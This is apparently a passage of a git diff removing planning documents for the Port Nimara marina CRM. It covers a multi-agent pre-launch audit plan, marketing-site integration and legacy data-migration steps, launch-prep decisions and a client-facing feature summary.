User ask: "deep, multi-agent audit of all routes, naming, text, UX, and
|
||||
… dig through the entire code of everything in the system (especially
|
||||
related to the sales process) and find any issues in the logic or how
|
||||
the functionality interacts with each other, how data is shared and
|
||||
persists where needed. Also a deep security audit."
|
||||
|
||||
Audit dimensions (use one specialised agent per dimension, in parallel):
|
||||
|
||||
| # | Dimension | Specialised agent | Output |
|
||||
| --- | ----------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 1 | **Sales pipeline logic** | `feature-dev:code-explorer` | Trace every stage transition; verify auto-advance rules, EOI gating, deposit handling, contract signing. Look for stale enum references (the 9→7 stage migration left some bugs). |
|
||||
| 2 | **Cross-entity data flow** | `feature-dev:code-explorer` | Map polymorphic ownership (yacht/company), interest_berths (multi-berth), document folders (aggregated projection), notes (4-table dispatch). Find divergence between docs and code. |
|
||||
| 3 | **Security** | `security-review` (existing skill) | OWASP API Top 10, auth bypass, IDOR, injection, secret leakage, GDPR exposure. Multi-tenant boundary checks (port_id at every join). |
|
||||
| 4 | **API surface consistency** | `code-review:code-review` | `{ data: T }` envelope adherence, `errorResponse(error)` usage, `parseBody(req, schema)` usage, 204 vs JSON, withAuth+withPermission composition. |
|
||||
| 5 | **UI/UX consistency** | `frontend-design:frontend-design` review | Visual inconsistencies, copy/text issues, accessibility, mobile parity, brand drift, em-dashes, generic SaaS slop. |
|
||||
| 6 | **Schema vs code divergence** | `feature-dev:code-explorer` | Migrations vs Drizzle schema files vs service helpers — find any column the DB has that no service touches, or any service field with no migration. |
|
||||
| 7 | **Documenso integration** | `feature-dev:code-explorer` | Full v1↔v2 path coverage, webhook idempotency, template field mapping, EOI generation (both pathways), error recovery. |
|
||||
| 8 | **Storage & file lifecycle** | `feature-dev:code-explorer` | S3↔filesystem switching, file orphans, signed-URL expiry, GDPR export coverage, magic-byte validation everywhere. |
|
||||
|
||||
Coordination:
|
||||
|
||||
- Use a **single coordinator session** that fans out via `Agent` /
|
||||
`TaskCreate` with `subagent_type` set per dimension. Each agent writes
|
||||
findings to a per-dimension scratch file under
|
||||
`docs/audits/2026-05-27/<dimension>.md`, then the coordinator
|
||||
consolidates into a single triage doc with severity tags.
|
||||
- Pass `model: "opus"` on every agent spawn — Sonnet/Haiku context
|
||||
windows compact too fast under MCP baseline (per memory
|
||||
`feedback_subagent_context_bloat`).
|
||||
|
||||
Output: `docs/audits/2026-05-27/findings-master.md` with per-finding
|
||||
severity (`CRITICAL | HIGH | MED | LOW`), file:line refs, and
|
||||
recommended fix. Critical + High get fixed before launch.
|
||||
|
||||
---
|
||||
|
||||
## Initiative 3 — Marketing website integration
|
||||
|
||||
**Status:** OPEN · Needs scope clarification
|
||||
|
||||
User ask: "make our relevant edits to the marketing website to prepare
|
||||
for the deployment and integration of our new system."
|
||||
|
||||
The marketing site lives in `/Users/matt/Repos/Port Nimara/Website`
|
||||
(separate Nuxt repo). Integration touch points the CRM exposes today:
|
||||
|
||||
- **`/api/public/berths`** + **`/api/public/berths/[mooringNumber]`** —
|
||||
feeds the marketing site's berth list / detail. Status precedence
|
||||
Sold > Under Offer > Available is already wired.
|
||||
- **`/api/public/health`** — dual-mode health check; the website should
|
||||
call the authenticated variant (with `WEBSITE_INTAKE_SECRET`) on
|
||||
startup so it refuses to start when pointed at the wrong CRM env.
|
||||
- **`/api/public/website-inquiries`** — intake endpoint for the contact
|
||||
form; dual-writes inquiry into the CRM.
|
||||
- **Inquiry email ownership** — at cutover, inquiry emails move from
|
||||
the website to the CRM (per memory
|
||||
`project_email_ownership_at_cutover`). Templates + settings keys
|
||||
already exist; berth public endpoint + admin recipient UI still
|
||||
needed (per existing memory).
|
||||
- **Cover photography + branding assets** — the new system uses
|
||||
`branding_email_background_url` etc.; ensure the website assets
|
||||
match.
|
||||
|
||||
Open work (needs user input on priority):
|
||||
|
||||
- Wire the website's contact form to `/api/public/website-inquiries`
|
||||
with the new payload shape.
|
||||
- Add the `WEBSITE_INTAKE_SECRET` to the website's env, point at the
|
||||
authenticated `/api/public/health`.
|
||||
- Update berth-detail page to consume the new `/api/public/berths/...`
|
||||
shape (the JSON mirrors the legacy NocoDB shape so this should be
|
||||
a no-op — VERIFY).
|
||||
- Replace any hard-coded "noreply@portnimara.com" sender on the
|
||||
website side with the CRM-controlled From address (so per-port
|
||||
branding wins).
|
||||
- Confirm the website's caching headers don't fight ours
|
||||
(`s-maxage=300, stale-while-revalidate=60` on berth endpoints).
|
||||
|
||||
---
|
||||
|
||||
## Initiative 4 — End-to-end testing
|
||||
|
||||
**Status:** OPEN · Needs scope clarification
|
||||
|
||||
User ask: "end to end testing of all sales functions, generating
|
||||
EOIs/documents (especially), ensuring all UX/UI is fluid, beautiful,
|
||||
relevant and helps the user go through the sales process effortlessly."
|
||||
|
||||
Existing infrastructure (per `CLAUDE.md`):
|
||||
|
||||
- `tests/e2e/smoke` — fast click-through (~10 min, ~125 specs)
|
||||
- `tests/e2e/exhaustive` — deeper UI coverage
|
||||
- `tests/e2e/destructive` — archive/delete/cancel paths
|
||||
- `tests/e2e/realapi` — opt-in real Documenso + IMAP round-trip
|
||||
- `tests/e2e/visual` — pixel-diff baselines
|
||||
|
||||
Pre-launch test gaps to fill (proposed):
|
||||
|
||||
1. **End-to-end sales journey** (single Playwright spec, real-API): new
|
||||
inquiry → qualified → EOI generated (Documenso) → client signs →
|
||||
developer countersigns → reservation → deposit recorded → contract
|
||||
generated → contract signed → tenancy auto-created → berth marked
|
||||
sold. Assert every stage transition + every email fires.
|
||||
2. **EOI generation parity** between both pathways (in-app
|
||||
`fill-eoi-form` vs Documenso template). Same `EoiContext` should
|
||||
produce equivalent PDFs.
|
||||
3. **Multi-berth EOI rendering** — berth range formatter assertion
|
||||
(`A1-A3, B5-B7` from `interest_berths`).
|
||||
4. **Documenso webhook idempotency** — replay the same `DOCUMENT_COMPLETED`
|
||||
webhook three times; assert single `files.folder_id` write + no
|
||||
duplicate audit-log rows.
|
||||
5. **Storage backend swap** — switch port to filesystem, generate EOI,
|
||||
verify file lands; switch back to S3, confirm migrate script moves
|
||||
the blob correctly.
|
||||
6. **Visual snapshot refresh** for the new Reports UI + back-button
|
||||
smart-back changes (this conversation).
|
||||
7. **Mobile parity** for the entire sales journey (different Playwright
|
||||
project or `--config` variant).
|
||||
|
||||
Each gap above becomes one or two new spec files. Coordinate with
|
||||
Initiative 2's audit so we don't double-test.
|
||||
|
||||
---
|
||||
|
||||
## Initiative 5 — Data migration (legacy → new)
|
||||
|
||||
**Status:** OPEN · High effort · Likely blocker for cutover
|
||||
|
||||
> **Infra cutover plan:** `docs/deployment-plan.md` — prod deploy of the CRM
|
||||
> to `crm.portnimara.com` (nginx + certbot + registry-image compose),
|
||||
> Gitea/CI access, and the Documenso backup + safe-upgrade procedure. Access
|
||||
> (SSH + Gitea API) established 2026-05-31; no prod changes without explicit
|
||||
> approval. Deployment creds in `private/deployment-creds.md` (gitignored).
|
||||
|
||||
User ask: "start pulling all existing prod data from the old system and
|
||||
connected systems (we'll have to backfill the EOIs by pulling them
|
||||
through MinIO — it's a fucking mess so I'll really need your help
|
||||
automating/speeding up that process) and initiate a preliminary switch
|
||||
over."
|
||||
|
||||
Sources to drain:
|
||||
|
||||
| Source | Storage | Entities | Notes |
|
||||
| ------------------------------- | ------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
|
||||
| Old NocoDB tables | Postgres / NocoDB | Clients, yachts, companies, interests, berths, EOIs (metadata) | Already imported in earlier migration; verify currency vs prod NocoDB. |
|
||||
| Old portal (`client_portal_v2`) | Nuxt + Postgres | Portal users, signing history, sent invitations | Need to confirm what hasn't been migrated yet. |
|
||||
| MinIO (legacy bucket) | Object storage | EOI PDFs (signed + unsigned), receipts, contracts | The "fucking mess" — naming is inconsistent, organisation unclear, need to map each blob back to its CRM entity. |
|
||||
| Documenso v1 (live) | Documenso server | In-flight signing envelopes + signed PDFs | Migration question: do we cut new EOIs to v2 and let v1 envelopes finish, or migrate the in-flight? |
|
||||
| Email archives | IMAP / mail server | Inquiry replies, signing reminders, deposit confirmations | Probably out of scope for cutover (read-only history). |
|
||||
|
||||
Migration script plan (write under `scripts/migration/`):
|
||||
|
||||
1. **`probe-minio.ts`** — scan the legacy MinIO bucket, list every blob,
|
||||
try to extract a client / interest / berth identifier from filename
|
||||
patterns. Produce `docs/migration/minio-blob-inventory.csv` with
|
||||
`key, size_bytes, mime, probable_entity_type, probable_entity_id, confidence`.
|
||||
2. **`backfill-eoi-pdfs.ts`** — for each inventoried blob with confidence
|
||||
≥ HIGH, copy from legacy MinIO into the new storage backend, create a
|
||||
matching `files` row + `documents` row, deposit into the right
|
||||
entity folder via the existing `ensureEntityFolder` helper. Idempotent
|
||||
via `legacy_minio_key` column (add via migration if missing).
|
||||
3. **`reconcile-nocodb.ts`** — diff the live NocoDB tables against our
|
||||
imported state; report rows added/changed/deleted since last import.
|
||||
4. **`preflight-cutover.sh`** — orchestrator script that runs the three
|
||||
above in order, writes a final report.
|
||||
|
||||
Cutover plan:
|
||||
|
||||
1. Freeze writes on the old system (NocoDB read-only, portal
|
||||
maintenance page).
|
||||
2. Run `preflight-cutover.sh` against frozen sources.
|
||||
3. Manual reconciliation of probe-minio rows where confidence < HIGH
|
||||
(likely a few hundred blobs — the user explicitly flagged this is
|
||||
manual labour, automation helps but doesn't replace it).
|
||||
4. DNS / website pointer flip.
|
||||
5. Watch error_events for 24h; rollback plan = re-enable old system
|
||||
writes and stop the cutover commit.
|
||||
|
||||
---
|
||||
|
||||
## Cross-initiative open questions
|
||||
|
||||
- **When to wrap the launch audit doc.** I'd suggest: after Initiative
|
||||
2's findings are triaged AND Initiatives 3-5 reach IN PROGRESS. At
|
||||
that point this file becomes the launch-day-runbook.
|
||||
- **Who's the launch sponsor / decision-maker?** Different from
|
||||
"user / matt"? Affects who signs off on cutover.
|
||||
- **Soft launch vs hard cutover?** Hard cutover is simpler operationally
|
||||
but risky; soft launch (parallel writes for a week) is safer but
|
||||
requires the old system to keep accepting writes for longer.
|
||||
|
||||
---
|
||||
|
||||
## 2026-06-01 — Feature-completeness sweep & launch-prep decisions
|
||||
|
||||
A read-only sweep (ahead of the ~same-day launch) checked the whole
|
||||
platform for half-built / stubbed surfaces beyond the known Reports
|
||||
gaps. It resolved two stale-doc contradictions: **Documenso signing
|
||||
phases 2–7 are fully built and wired** (`BACKLOG.md` §A is stale on
|
||||
this), and the **interest Contract/Reservation tabs are fully built**
|
||||
(not "coming soon" cards). Findings + decisions below.
|
||||
|
||||
**Decision (per Matt, 2026-06-01):** launch is ~today, so **ship what's
|
||||
done, hide what's not, defer the big builds** — do NOT revert to the old
|
||||
desktop-spreadsheet reports (a downgrade), and do NOT rush the
|
||||
unproven full builds onto a same-day prod launch.
|
||||
|
||||
### Shipped today (launch-prep, low-risk; SHIPPED)
|
||||
|
||||
- **Hid Financial + Marketing report cards** from the reports landing
|
||||
(`reports/page.tsx`) — both were "Builder in development" placeholders
|
||||
gated on unbuilt data sources (Init 1b/1c). The reports section ships
|
||||
with the working **Sales + Operational + Custom** reports + templates +
|
||||
scheduling + PDF/CSV/Excel exports. The basic Custom builder already
|
||||
covers the old desktop-report use case (entity + columns + date range +
|
||||
export) — parity-plus, not a regression.
|
||||
- **Trimmed the Custom-report card copy** so it stops promising
|
||||
group-by/filters/dimensions it doesn't yet have (the builder page
|
||||
header was already honest).
|
||||
- **Hid the Bulk Import mockup** from nav + search
|
||||
(`admin-sections-browser.tsx`, `search-nav-catalog.ts`). The static
|
||||
`/admin/import` mockup is now unreachable from the UI (route still
|
||||
resolves by direct URL).
|
||||
- **Corrected client-facing doc over-claims** in `features-list.md` +
|
||||
`new-system-feature-summary.md` (removed the waiting-list
|
||||
"next-in-line notification" claim — built but hidden; removed Import
|
||||
from the admin-pages list, 43→42).
|
||||
|
||||
### Deferred to post-launch (tracked here; none launch-blocking)
|
||||
|
||||
- **Full Bulk CSV/XLSX importer** — design APPROVED + spec written:
|
||||
`docs/superpowers/specs/2026-06-01-bulk-import-design.md` (generic
|
||||
engine + per-entity adapter registry; 7 entities; column-mapping,
|
||||
dry-run, dedup, per-batch undo). Cutover data migration runs through
|
||||
the existing CLI scripts (`import-berths-from-nocodb.ts` + the
|
||||
Initiative 5 migration scripts), so the UI importer is **not needed
|
||||
for launch**.
|
||||
- **Full Custom-report builder** — group-by + aggregates, sort,
|
||||
per-column filter rows (AND/OR), debounced live preview, the remaining
|
||||
6 of 10 entities, per-role PII column whitelist. Architecture decided
|
||||
(per-column expression map + generic Drizzle query composer); spec
|
||||
deferred. Basic builder ships as-is.
|
||||
- **Berth Waiting List** — ✅ **SHIPPED in 8be7a6e2.** `WaitingListManager`
|
||||
tab un-hidden + wired. _Still deferred: the availability-triggered
|
||||
next-in-line notification (today only a `notifyPref` column is stored;
|
||||
no sender exists)._
|
||||
- **Berth Maintenance Log** — ✅ **SHIPPED in 8be7a6e2.** UI tab mirroring
|
||||
the waiting-list manager, on the existing API + service.
|
||||
- **Contract/Reservation paper-upload misroute (BUG)** — ✅ **SHIPPED in
|
||||
d98aa5cc.** Added contract/reservation paper-upload endpoints +
|
||||
pointed `ExternalEoiUploadDialog` at the right one per docType, so a
|
||||
paper-signed contract/reservation no longer files as an EOI.
|
||||
- **Marketing + Financial reports** — remain unbuilt + now hidden; gated
|
||||
on Init 1b (website UTM/inquiry cutover) and Init 1c (invoices-module
|
||||
decision) respectively.
|
||||
@@ -1,37 +0,0 @@
|
||||
# Marketing-site followups
|
||||
|
||||
Items that require edits to the **separate marketing-site repo** (port-nimara.com / portnimara.com), not the CRM. These can't ship from this codebase; they're parked here so they don't get lost when we drain the CRM audit doc.
|
||||
|
||||
Last updated: 2026-05-26.
|
||||
|
||||
---
|
||||
|
||||
## Umami analytics — Phases 4a, 3, 5
|
||||
|
||||
**Source:** `docs/superpowers/audits/alpha-uat-master.md` — Umami follow-ups parked at end of the 2026-05-19 build session.
|
||||
|
||||
- **Phase 4a — Marketing-site instrumentation.** The CRM's Umami integration (Phase 4b — pixel + tracked-link events on outbound sales emails) is shipped. Phase 4a is the parallel work on the marketing site: add the Umami tracking script to every page, instrument the public berth inquiry form submission, instrument the "request more info" buttons, and confirm session-level attribution flows back to the same Umami workspace the CRM reads.
|
||||
- **Phase 3 — Events tab.** Once 4a lands, the CRM's `/admin/website-analytics` page gets an Events tab that lists every named Umami event (inquiry-submitted, brochure-downloaded, berth-details-viewed, contact-clicked, …) with counts, top-source breakdown, and a 30-day trendline. Backend already proxies `/api/umami/events`; UI surface is the missing piece. Blocked on 4a sending real event data.
|
||||
- **Phase 5 — Funnels.** Multi-step funnel widget on the dashboard ("landed on /berths → opened a berth → submitted inquiry → was created as a CRM interest → reached EOI stage"). Joins Umami sessionId with the CRM's `interests.umamiSessionId` snapshot we already write. Blocked on 4a so the first three steps have real data to consume.
|
||||
|
||||
---
|
||||
|
||||
## Email-tracking end-to-end verification
|
||||
|
||||
**Source:** alpha-uat-master.md — Bucket 2 Umami follow-ups.
|
||||
|
||||
- **Verify the pixel + tracked-link with a real send** — flip `email_open_tracking_enabled = true` for port-nimara, send a real sales email to a personal inbox, open it in Mail.app + Gmail web, confirm: (a) a `document_send_opens` row appears, (b) `open_count` + `first_opened_at` increment on the parent row, (c) Umami records an `email-opened` event. Same drill for `/q/<slug>` short-links once the composer ships them. Cannot be automated — needs a real human inbox. This is a CRM-side manual UAT step but it depends on the marketing-site short-link redirector being live.
|
||||
|
||||
---
|
||||
|
||||
## Public berth endpoint email recipient UI (parking note)
|
||||
|
||||
**Source:** memory — "Email ownership at cutover" (`project_email_ownership_at_cutover.md`).
|
||||
|
||||
When the marketing site cuts over and inquiry emails route through the CRM rather than the website's own SMTP, the public berth endpoint + the admin recipient UI need to be in place. Templates + settings keys exist on the CRM side; the marketing-site side needs the form submission target updated to hit `/api/public/website-inquiries` (or whichever the final endpoint is) instead of the legacy mailto. Coordinate as one rollout.
|
||||
|
||||
---
|
||||
|
||||
## How to triage when picking these up
|
||||
|
||||
Each item here has a CRM-side prerequisite or downstream consumer that's already in place. The work itself lives in the marketing-site repo. When you tackle one, link the marketing-site PR back into this file and tick the item off — keep this doc shrinking, not growing.
|
||||
@@ -1,338 +0,0 @@
|
||||
# Port Nimara CRM — What's New & What's Improved
|
||||
|
||||
A client-friendly summary of the new Port Nimara CRM, framed against what the previous system provided. The new platform is a complete, purpose-built CRM that replaces a website + spreadsheet-style data store with a single integrated workspace for sales, berths, documents, communications, and reporting.
|
||||
|
||||
> Scope note: this summary covers the features that are ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are intentionally not included here.
|
||||
|
||||
---
|
||||
|
||||
## At a glance
|
||||
|
||||
**Previously**, day-to-day sales work happened across three places: the public website (where enquiries landed), the back-end database tool (where data was inspected and edited), and a separate internal portal (where signing, expenses, and a handful of staff tools lived).
|
||||
|
||||
**Now**, all of that lives inside a single, branded CRM at `crm.portnimara.com`-style URLs (one per port). The website still publishes berths and accepts enquiries — but those enquiries flow into the CRM and are managed there, from first contact through deposit, contract, and signing.
|
||||
|
||||
The CRM is built on a dedicated relational database designed specifically for marina sales workflows, with real-time updates, role-based permissions, a full audit trail, and a clean modern interface that adapts to mobile.
|
||||
|
||||
---
|
||||
|
||||
## Platform-level upgrades
|
||||
|
||||
These improvements apply across every feature area:
|
||||
|
||||
- **Purpose-built database.** The system runs on a dedicated relational database (PostgreSQL) modelled specifically for marina sales. Compared with the previous spreadsheet-style data store, it's faster on large data sets, supports rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforces data integrity so duplicates and broken links don't slip through.
|
||||
- **Real-time updates.** When a colleague edits a deal, advances a stage, attaches a file, or completes a signing, every other open window updates within a second. No more "refresh to see what changed".
|
||||
- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates. Emails, PDFs, and the in-app shell all pick up the right brand automatically.
|
||||
- **Granular role-based permissions.** Roles are defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Admins can override permissions per user as well as per role.
|
||||
- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) is recorded, retained for 90 days, and searchable. Used in the activity feed, the field-history popovers, and the admin audit log.
|
||||
- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention windows, and a built-in system-monitoring dashboard for staff to verify the queue and integrations are healthy.
|
||||
- **Background job queue.** Heavy or slow work (PDF generation, email sending, exports, webhook retries, bounce polling) runs on a managed queue so the interface stays responsive and nothing is silently lost.
|
||||
- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
|
||||
- **Pluggable file storage.** Files live in object storage (S3-compatible) by default, with a one-command migration script to switch backends without rewriting any code.
|
||||
|
||||
---
|
||||
|
||||
## 1. Sales pipeline
|
||||
|
||||
A complete sales CRM where the team manages every deal from first enquiry to contract.
|
||||
|
||||
- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
|
||||
- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
|
||||
- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place — no separate edit modal to wade through.
|
||||
- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is the deal's primary, which are publicly "under offer", and which are included in the EOI bundle. The previous system stored at most a single berth link per enquiry.
|
||||
- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can intervene if the rules need overriding.
|
||||
- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked) each with auto / suggest / off modes and a per-port target berth status. Admins can tune the rules without engineering involvement.
|
||||
- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) are captured via an outcome dialog with required reason capture.
|
||||
- **Tags, notes, contact log, and activity timeline** on every deal. Tags are inline-editable; notes use a single underlying engine shared across clients, deals, yachts, and companies.
|
||||
- **Saved views and recently-viewed.** Each user can pin reusable filter+sort snapshots; recently-viewed items appear in the topbar for quick return.
|
||||
- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and a derived score.
|
||||
- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
|
||||
- **Pipeline summary on each client.** All a client's open and historic deals roll up onto their detail page.
|
||||
|
||||
_Previously, deal management happened directly inside the back-end data tool — no kanban, no stage workflow, no auto-advance, no tags, no notes per deal, no scoring, and no per-deal timeline._
|
||||
|
||||
---
|
||||
|
||||
## 2. Berths
|
||||
|
||||
Catalog, public-facing feed, recommender, demand signals, and rich per-berth artefacts.
|
||||
|
||||
- **Catalog with list and card views**, filterable by status, area, dimensions; every field inline-editable on the detail page.
|
||||
- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` feeds the marketing site. Output mirrors the previous shape exactly so the website didn't need a rewrite; status is computed with a clear precedence (Sold > Under Offer > Available) and served from a 5-minute cache for fast page loads.
|
||||
- **Per-berth PDFs are versioned.** Every upload creates a new version; the current version is the live one. PDFs are parsed automatically through three tiers (form-fields → OCR → optional AI), and the system flags mismatches when the mooring number on the PDF doesn't match the berth.
|
||||
- **Per-port brochures.** Multiple brochures supported per port with one default enforced. Same upload + version flow as berth PDFs.
|
||||
- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or shares a signed-URL link when the file is over the size threshold).
|
||||
- **Berth recommender.** A pure-SQL ranking that surfaces matching berths per deal via a four-tier ladder (A/B/C/D). Tier B uses heat scoring; weights are configurable in admin so the model can be tuned per port.
|
||||
- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and on each berth's detail panel.
|
||||
- **Active interests popover.** Hover/tap any berth to see which deals are currently linked to it.
|
||||
- **Bulk price edit.** A sheet for updating prices across many berths at once.
|
||||
- **Bulk-add berths wizard** for onboarding new inventory in batches.
|
||||
- **Catch-up wizard** to reconcile legacy state when migrating berth data.
|
||||
|
||||
_Previously, berths were a flat list with a basic dimension filter on the public site. There was no recommender, no demand heat, no per-berth PDF versioning, no bulk price editor, and no internal berth detail page._
|
||||
|
||||
---
|
||||
|
||||
## 3. Yachts
|
||||
|
||||
First-class yacht records with proper ownership and history.
|
||||
|
||||
- **Polymorphic ownership.** A yacht can be owned by either a client (individual) or a company; the system models this correctly throughout — search, documents, pipelines, and reports all respect the discriminator.
|
||||
- **Ownership history.** Every transfer is recorded with date and parties; previous owners are visible from the yacht detail.
|
||||
- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
|
||||
- **Inline editing** of all dimensions and identifiers; dimensions are normalised and validated.
|
||||
- **Yacht picker reused everywhere** — when creating a deal, attaching a document, or filing under an entity, the same searchable picker appears.
|
||||
|
||||
_Previously, yachts were not stored as their own records — they were free-text fields on enquiry submissions._
|
||||
|
||||
---
|
||||
|
||||
## 4. Companies & memberships
|
||||
|
||||
First-class company entities with member relationships.
|
||||
|
||||
- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
|
||||
- **Members management.** Add/remove members with active/inactive state and roles. Membership reach feeds into the documents projection (a client gets to see relevant company files automatically).
|
||||
- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal, mirrored across the codebase rather than improvised per surface.
|
||||
- **Files tab** on company detail showing both directly-attached files and files reaching through related entities.
|
||||
|
||||
_Previously, companies did not exist as a separate concept; everything was attributed to a single named individual._
|
||||
|
||||
---
|
||||
|
||||
## 5. Clients
|
||||
|
||||
The detail page each contact deserves.
|
||||
|
||||
- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
|
||||
- **Inline editing everywhere.** Name, addresses, phone numbers, emails, sales rep, communication preferences — all editable in place via small inline fields.
|
||||
- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical normalisation (phone numbers are normalised to a single international format for reliable search and matching).
|
||||
- **Audit-driven field history.** Click any field's history icon to see who changed it, when, and what the previous value was.
|
||||
- **Tags, notes, and contact log** — all the same shared components as elsewhere, so the experience is consistent.
|
||||
- **Pipeline summary.** All a client's deals — open and closed — roll up onto their detail page.
|
||||
- **Smart archive / smart restore.** Archive a client and the system handles cascading state (related deals, files) intelligently; restore previews exactly what will come back.
|
||||
- **Hard-delete with bulk variant** behind a permission gate, for genuine "remove from the system" requests.
|
||||
- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails the client a signed download link; the bundle auto-deletes after 30 days.
|
||||
- **Dedup engine.** The system surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail correctly.
|
||||
- **Send-documents dialog** for branded multi-attachment sends from any client.
|
||||
|
||||
_Previously, contact records were flat rows in the back-end tool — no detail page, no inline editing, no audit history, no GDPR export, no dedup, no per-client deal roll-up._
|
||||
|
||||
---
|
||||
|
||||
## 6. Documents hub
|
||||
|
||||
A nestable folder tree per port with intelligent auto-filing.
|
||||
|
||||
- **Tree of folders** with nestable subfolders, drag-and-drop move, rename, soft-rescue delete (children re-parent rather than disappear).
|
||||
- **System folders for each entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders the first time a record needs one.
|
||||
- **Auto-filing on signing.** When a Documenso envelope completes, the signed PDF lands in the right entity folder automatically based on who owns the deal — no manual filing needed.
|
||||
- **Aggregated view across relationships.** Open a client and you also see files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client). Each group is capped to keep the view skimmable; deeper drill-down is one click away.
|
||||
- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
|
||||
- **Upload for signing dialog.** Send any file straight into a Documenso signing flow without leaving the documents hub.
|
||||
- **In-flight workflow tracker** — see which envelopes are mid-signing across the same aggregated reach.
|
||||
- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders are immutable via API to keep the structure clean.
|
||||
- **Recent files** surface in the topbar and global search.
|
||||
|
||||
_Previously, file management lived in the separate internal portal as a flat S3 file browser with no folder tree, no auto-filing, no aggregated-by-entity view, and no signing-integration on individual files._
|
||||
|
||||
---
|
||||
|
||||
## 7. EOI generation & Documenso signing
|
||||
|
||||
Template-driven EOIs with multi-berth support and resilient signing.
|
||||
|
||||
- **Two pathways from one underlying model.** EOIs can be generated through Documenso templates (the primary path) or filled into the in-app EOI PDF directly. Both share the same data context, so any change to a deal is reflected identically.
|
||||
- **Multi-berth EOI ranges.** When an EOI bundles multiple berths, the document automatically renders a compact range ("A1–A3, B5–B7") in the Berth Number field, and the CRM UI shows the full set as chips. The catalogued merge tokens are enforced at template-creation time so a mistyped placeholder cannot silently slip into a generated document.
|
||||
- **Configurable signing order.** Parallel or sequential signing per port, with a tri-state default ("use template default / always parallel / always sequential").
|
||||
- **Automation modes** per deal: manual (staff sends each step), sequential auto (system advances on each signature), or concurrent auto (everyone signs at once). Mode changes are audit-logged.
|
||||
- **Idempotent webhook handling.** Documenso retries don't double-write; status changes are normalised across both supported API versions; the system polls every 5 minutes as a safety net if a webhook is missed.
|
||||
- **Rejection reasons captured** when a signer declines.
|
||||
- **Reminders and voids.** The CRM surfaces send-reminder and void-envelope actions directly from the deal detail.
|
||||
- **Embedded signing card** for clients to sign in-app where appropriate.
|
||||
- **External EOI upload.** Record an EOI that was signed outside the system (PDF upload + counterparty list) without breaking the rest of the deal flow.
|
||||
- **Webhook health card** in admin shows recent deliveries, failures, and a "test now" affordance.
|
||||
- **Per-port Documenso configuration.** Each port can target its own Documenso instance, API key, signing order, and redirect URL.
|
||||
|
||||
_Previously, signing was a Documenso embed hosted from the internal portal with token-based redirects, no multi-berth range support, no idempotent webhook handling, no automation modes, and no health diagnostics in the UI._
|
||||
|
||||
---
|
||||
|
||||
## 8. Email send-outs
|
||||
|
||||
Branded, audited, configurable outbound mail.
|
||||
|
||||
- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract-related comms, digests, etc.) shares a single branded shell — port logo, blurred overhead background, consistent typography — that picks up the port's branding automatically.
|
||||
- **Configurable send-from accounts.** Each port can configure its human send-from (e.g. `sales@portnimara.com`) and its automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials are encrypted at rest; API endpoints return only "is set" markers, never the password.
|
||||
- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
|
||||
- **Smart attachment handling.** Files over a configurable per-port size threshold ship as 24-hour signed-URL links instead of attaching directly, keeping email deliverable.
|
||||
- **Send rate limit** (50 sends/user/hour) to protect deliverability reputation.
|
||||
- **Email audit log.** Every send is recorded with recipient list, body, attachments, and links; admin can browse the full send log.
|
||||
- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them back to the original send so staff know a message bounced.
|
||||
- **Email threads** stitched together — replies to a CRM-originated email are threaded under the original.
|
||||
- **Tracked-link composer.** Generate per-recipient tracked links so opens and click-throughs can be attributed back.
|
||||
- **Per-port template overrides.** Admin can override any transactional template per port without touching code.
|
||||
- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
|
||||
|
||||
_Previously, transactional email was sent via Gmail SMTP from string-template builders, with no per-port branding override, no send audit log, no bounce monitoring, no attachment-threshold logic, no rate limiting, and no per-template overrides without a redeploy._
|
||||
|
||||
---
|
||||
|
||||
## 9. Reports
|
||||
|
||||
Live Sales and Operational dashboards, plus a custom builder, scheduling, and exports.
|
||||
|
||||
